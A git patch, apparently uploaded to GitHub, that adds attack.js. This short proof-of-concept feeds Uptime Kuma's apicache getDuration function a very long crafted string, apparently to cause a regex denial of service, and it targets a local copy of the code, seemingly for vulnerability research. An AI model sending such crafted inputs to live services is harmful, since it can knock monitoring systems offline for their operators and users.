From 02f4cba9c61d0230ea65c8b720614bf91aa1a15d Mon Sep 17 00:00:00 2001 From: DayShift <113507098+ShiyuBanzhou@users.noreply.github.com> Date: Sun, 19 Jan 2025 21:15:22 +0800 Subject: [PATCH] Add files via upload add attack.js --- attack.js | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 attack.js diff --git a/attack.js b/attack.js new file mode 100644 index 000000000..b13854dc7 --- /dev/null +++ b/attack.js @@ -0,0 +1,20 @@ + +const apicacheModule = require("./uptime-kuma-92e982a91004e8f519e21ee6a0e4d4d21ecae99c/uptime-kuma-92e982a91004e8f519e21ee6a0e4d4d21ecae99c/server/modules/apicache/apicache.js"); + +// 手动提取 parseDuration 函数 +const getDuration = apicacheModule.getDuration; + +// ""+"00".repeat(100000)+"\u0000" + +// 构造字符串 +const str = "" + "00".repeat(100000) + "\u0000"; + +try { + // 调用 parseDuration 函数 + let result = getDuration(str); + console.log(result); +} catch (error) { + console.error(error); +} + +